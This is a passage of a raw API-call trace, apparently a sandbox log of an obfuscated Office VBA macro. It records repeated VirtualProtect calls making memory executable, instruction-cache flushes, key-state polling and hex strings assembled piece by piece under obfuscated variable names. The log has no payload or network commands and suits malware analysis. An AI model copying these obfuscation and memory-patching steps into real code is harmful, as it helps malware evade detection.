0xffffffff [0106.413] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0106.413] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.413] GetCurrentProcess () returned 0xffffffff [0106.413] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0106.414] GetAsyncKeyState (vKey=3) returned 0 [0106.414] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.414] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.414] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.415] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.415] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.415] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.415] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.415] VarSub (in: pvarLeft=0x197bb4, pvarRight=0x197ba4, pvarResult=0x197b94 | out: pvarResult=0x197b94) returned 0x0 [0106.415] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x197b90 | out: ppsaOut=0x197b90) returned 0x0 [0106.415] SafeArrayAllocData (psa=0xc85d2a8) returned 0x0 [0106.543] GetAsyncKeyState (vKey=3) returned 0 [0106.545] VarBstrCat (in: bstrLeft="&", bstrRight="H", pbstrResult=0x197ac4 | out: pbstrResult=0x197ac4) returned 0x0 [0106.545] VarCmp (pvarLeft=0x197908, pvarRight=0x1978f8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.545] VarCmp (pvarLeft=0x197908, pvarRight=0x1978f8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.545] VarCmp (pvarLeft=0x197908, pvarRight=0x1978f8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.545] VarCmp (pvarLeft=0x197908, pvarRight=0x1978f8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.545] VarCmp (pvarLeft=0x197908, pvarRight=0x1978f8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.545] VarCmp (pvarLeft=0x197908, pvarRight=0x1978f8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0106.545] VarCmp (pvarLeft=0x197908, pvarRight=0x1978f8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0106.545] VarSub (in: pvarLeft=0x197bb4, pvarRight=0x197ba4, pvarResult=0x197b94 | out: pvarResult=0x197b94) returned 0x0 [0106.545] CRetailMalloc_Alloc () returned 0xcb7cc28 [0106.545] memcpy (in: _Dst=0xcf94f48, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.545] memcpy (in: _Dst=0xcf94f4c, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0106.545] memcpy (in: _Dst=0xcf94f50, _Src=0x19741c, _Size=0x4 | out: _Dst=0xcf94f50) returned 0xcf94f50 [0106.545] memcpy (in: _Dst=0xcf94f4c, _Src=0x1973c8, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0106.545] memcpy (in: _Dst=0xcf94f50, _Src=0x19741c, _Size=0x4 | out: _Dst=0xcf94f50) returned 0xcf94f50 [0106.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112e1146, cbMultiByte=4, lpWideCharStr=0x197204, cchWideChar=5 | out: lpWideCharStr="Mid") returned 4 [0106.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c1146, cbMultiByte=4, lpWideCharStr=0x197264, cchWideChar=5 | out: lpWideCharStr="Mid") returned 4 [0106.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c1146, cbMultiByte=4, lpWideCharStr=0x197264, cchWideChar=5 | out: lpWideCharStr="Mid") returned 4 [0106.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c1146, cbMultiByte=4, lpWideCharStr=0x197264, cchWideChar=5 | out: lpWideCharStr="Mid") returned 4 [0106.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c1146, cbMultiByte=4, lpWideCharStr=0x197264, cchWideChar=5 | out: lpWideCharStr="Mid") returned 4 [0106.546] CRetailMalloc_Alloc () returned 0xcb0eb98 [0106.546] _mbscpy_s (in: _Dst=0xcb0eb98, _DstSizeInBytes=0x4, _Src=0x111c1146 | out: _Dst=0xcb0eb98) returned 0x0 [0106.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a0bb6, cbMultiByte=11, lpWideCharStr=0x197274, cchWideChar=12 | out: lpWideCharStr="_B_var_Mid") returned 11 [0106.547] CRetailMalloc_Free () returned 0x1 [0106.547] memcpy (in: _Dst=0xcf94f48, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x6961ded0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0106.547] memcpy (in: _Dst=0xcb7cc70, _Src=0x197484, _Size=0x18 | out: _Dst=0xcb7cc70) returned 0xcb7cc70 [0106.547] CRetailMalloc_Realloc () returned 0xcb7cc28 [0106.547] CRetailMalloc_Free () returned 0x1 [0106.547] GetCurrentProcess () returned 0xffffffff [0106.547] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0106.547] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.548] GetCurrentProcess () returned 0xffffffff [0106.548] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0106.548] GetCurrentProcess () returned 0xffffffff [0106.548] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0106.548] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.548] GetCurrentProcess () returned 0xffffffff [0106.548] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0106.548] GetCurrentProcess () returned 0xffffffff [0106.548] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0106.549] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.549] GetCurrentProcess () returned 0xffffffff [0106.549] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0106.549] GetCurrentProcess () returned 0xffffffff [0106.549] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0106.549] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.549] GetCurrentProcess () returned 0xffffffff [0106.549] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0106.549] GetCurrentProcess () returned 0xffffffff [0106.549] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0106.550] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.550] GetCurrentProcess () returned 0xffffffff [0106.550] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0106.550] GetCurrentProcess () returned 0xffffffff [0106.550] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0106.550] VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.550] GetCurrentProcess () returned 0xffffffff [0106.550] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0106.550] GetCurrentProcess () returned 0xffffffff [0106.551] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0106.551] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.551] GetCurrentProcess () returned 0xffffffff [0106.551] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0106.551] GetCurrentProcess () returned 0xffffffff [0106.551] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0106.551] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.551] GetCurrentProcess () returned 0xffffffff [0106.551] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0106.551] GetCurrentProcess () returned 0xffffffff [0106.552] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0106.552] VirtualProtect (in: lpAddress=0xcaf39ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.552] GetCurrentProcess () returned 0xffffffff [0106.552] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0106.552] GetCurrentProcess () returned 0xffffffff [0106.552] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0106.552] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.552] GetCurrentProcess () returned 0xffffffff [0106.552] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0106.552] GetCurrentProcess () returned 0xffffffff [0106.553] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0106.553] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.553] GetCurrentProcess () returned 0xffffffff [0106.553] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0106.553] GetCurrentProcess () returned 0xffffffff [0106.553] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0106.553] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.553] GetCurrentProcess () returned 0xffffffff [0106.553] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0106.554] GetCurrentProcess () returned 0xffffffff [0106.554] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0106.554] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.554] GetCurrentProcess () returned 0xffffffff [0106.554] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0106.554] GetCurrentProcess () returned 0xffffffff [0106.554] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0106.554] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.554] GetCurrentProcess () returned 0xffffffff [0106.554] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0106.555] GetCurrentProcess () returned 0xffffffff [0106.555] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0106.555] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.555] GetCurrentProcess () returned 0xffffffff [0106.555] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0106.555] GetCurrentProcess () returned 0xffffffff [0106.555] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0106.555] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.555] GetCurrentProcess () returned 0xffffffff [0106.556] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 [0106.556] GetCurrentProcess () returned 0xffffffff [0106.556] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0106.556] VirtualProtect (in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.556] GetCurrentProcess () returned 0xffffffff [0106.556] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0106.556] GetCurrentProcess () returned 0xffffffff [0106.556] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0106.556] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.557] GetCurrentProcess () returned 0xffffffff [0106.557] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0106.557] GetCurrentProcess () returned 0xffffffff [0106.557] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0106.557] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.557] GetCurrentProcess () returned 0xffffffff [0106.557] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0106.557] GetCurrentProcess () returned 0xffffffff [0106.558] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0106.558] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.558] GetCurrentProcess () returned 0xffffffff [0106.558] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0106.558] GetCurrentProcess () returned 0xffffffff [0106.558] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0106.558] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.558] GetCurrentProcess () returned 0xffffffff [0106.558] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0106.558] GetCurrentProcess () returned 0xffffffff [0106.559] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0106.559] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.559] GetCurrentProcess () returned 0xffffffff [0106.559] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0106.559] GetCurrentProcess () returned 0xffffffff [0106.559] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0106.559] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.559] GetCurrentProcess () returned 0xffffffff [0106.559] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0106.559] GetCurrentProcess () returned 0xffffffff [0106.560] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, dwSize=0x14) returned 1 [0106.560] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.560] GetCurrentProcess () returned 0xffffffff [0106.560] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0106.560] GetCurrentProcess () returned 0xffffffff [0106.560] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0106.560] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.560] GetCurrentProcess () returned 0xffffffff [0106.560] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0106.560] GetCurrentProcess () returned 0xffffffff [0106.561] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 [0106.561] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.561] GetCurrentProcess () returned 0xffffffff [0106.561] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0106.561] GetCurrentProcess () returned 0xffffffff [0106.561] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0106.561] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.561] GetCurrentProcess () returned 0xffffffff [0106.561] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0106.562] GetCurrentProcess () returned 0xffffffff [0106.562] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0106.562] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.562] GetCurrentProcess () returned 0xffffffff [0106.562] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0106.562] GetCurrentProcess () returned 0xffffffff [0106.562] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0106.562] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.563] GetCurrentProcess () returned 0xffffffff [0106.563] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0106.563] GetCurrentProcess () returned 0xffffffff [0106.563] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0106.563] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.563] GetCurrentProcess () returned 0xffffffff [0106.563] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0106.563] GetCurrentProcess () returned 0xffffffff [0106.563] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0106.563] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.564] GetCurrentProcess () returned 0xffffffff [0106.564] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0106.564] SetErrorMode (uMode=0x8001) returned 0x8001 [0106.564] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0106.564] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x693e0000 [0106.564] SetErrorMode (uMode=0x8001) returned 0x8001 [0106.565] GetProcAddress (hModule=0x693e0000, lpProcName=0x278) returned 0x694663c4 [0106.565] GetAsyncKeyState (vKey=3) returned 0 [0106.566] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.566] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0106.566] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.566] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0106.566] CRetailMalloc_Alloc () returned 0xcb7ccb8 [0106.566] memcpy (in: _Dst=0xcf94f48, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.566] memcpy (in: _Dst=0xcf95050, _Src=0x197404, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0106.566] memcpy (in: _Dst=0xcf94f48, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112e0386, cbMultiByte=5, lpWideCharStr=0x197204, cchWideChar=6 | out: lpWideCharStr="CDec") returned 5 [0106.566] CRetailMalloc_Realloc () returned 0xb2e72c8 [0106.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x111c0386, cbMultiByte=5, lpWideCharStr=0x197264, cchWideChar=6 | out: lpWideCharStr="CDec") returned 5 [0106.567] CRetailMalloc_Realloc () returned 0xb3c8040 [0106.567] memcpy (in: _Dst=0xcf94f48, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.567] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x96\x97\x97\x96", cchCount1=-1, lpString2="\x97\x96\x97\x96", cchCount2=-1) returned 1 [0106.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112e2e82, cbMultiByte=5, lpWideCharStr=0x197204, cchWideChar=6 | out: lpWideCharStr="—–—–") returned 5 [0106.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a02d6, cbMultiByte=5, lpWideCharStr=0x197264, cchWideChar=6 | out: lpWideCharStr="—–—–") returned 5 [0106.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a02d6, cbMultiByte=5, lpWideCharStr=0x197264, cchWideChar=6 | out: lpWideCharStr="—–—–") returned 5 [0106.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a02d6, cbMultiByte=5, lpWideCharStr=0x197264, cchWideChar=6 | out: lpWideCharStr="—–—–") returned 5 [0106.568] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="\x96\x97\x97\x96", cchCount1=-1, lpString2="\x97\x96\x97\x96", cchCount2=-1) returned 1 [0106.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a02d6, cbMultiByte=5, lpWideCharStr=0x197264, cchWideChar=6 | out: lpWideCharStr="—–—–") returned 5 [0106.568] CRetailMalloc_Alloc () returned 0xcb0e970 [0106.568] _mbscpy_s (in: _Dst=0xcb0e970, _DstSizeInBytes=0x5, _Src=0x112a02d6 | out: _Dst=0xcb0e970) returned 0x0 [0106.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112a0bde, cbMultiByte=12, lpWideCharStr=0x197274, cchWideChar=13 | out: lpWideCharStr="_B_var_—–—–") returned 12 [0106.569] _mbscpy_s (in: _Dst=0x1972dc, _DstSizeInBytes=0x5, _Src=0x112a02d6 | out: _Dst=0x1972dc) returned 0x0 [0106.569] CRetailMalloc_Free () returned 0x1 [0106.569] memcpy (in: _Dst=0xcf95050, _Src=0xcf95050, _Size=0xc | out: _Dst=0xcf95050) returned 0xcf95050 [0106.569] memcpy (in: _Dst=0xcf94f48, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.569] memcpy (in: _Dst=0xcf94f4c, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xcf94f4c) returned 0xcf94f4c [0106.569] memcpy (in: _Dst=0xcf94f48, _Src=0x197254, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.569] memcpy (in: _Dst=0xcf94f48, _Src=0x197254, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.569] memcpy (in: _Dst=0xcf94f48, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.569] memcpy (in: _Dst=0xcf94f48, _Src=0x1973e8, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0106.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x6961ded0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0106.569] memcpy (in: _Dst=0xcb7cd30, _Src=0x197484, _Size=0x18 | out: _Dst=0xcb7cd30) returned 0xcb7cd30 [0106.570] CRetailMalloc_Realloc () returned 0xcb7ccb8 [0106.570] CRetailMalloc_Free () returned 0x1 [0106.570] GetCurrentProcess () returned 0xffffffff [0106.570] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0106.570] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.570] GetCurrentProcess () returned 0xffffffff [0106.570] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0106.570] GetCurrentProcess () returned 0xffffffff [0106.570] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0106.570] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.571] GetCurrentProcess () returned 0xffffffff [0106.571] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0106.571] GetCurrentProcess () returned 0xffffffff [0106.571] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0106.571] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0106.571] GetCurrentProcess () returned 0xffffffff [0106.571] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0106.571] GetCurrentProcess () returned 0xffffffff [0106.632] FlushInstructionCache 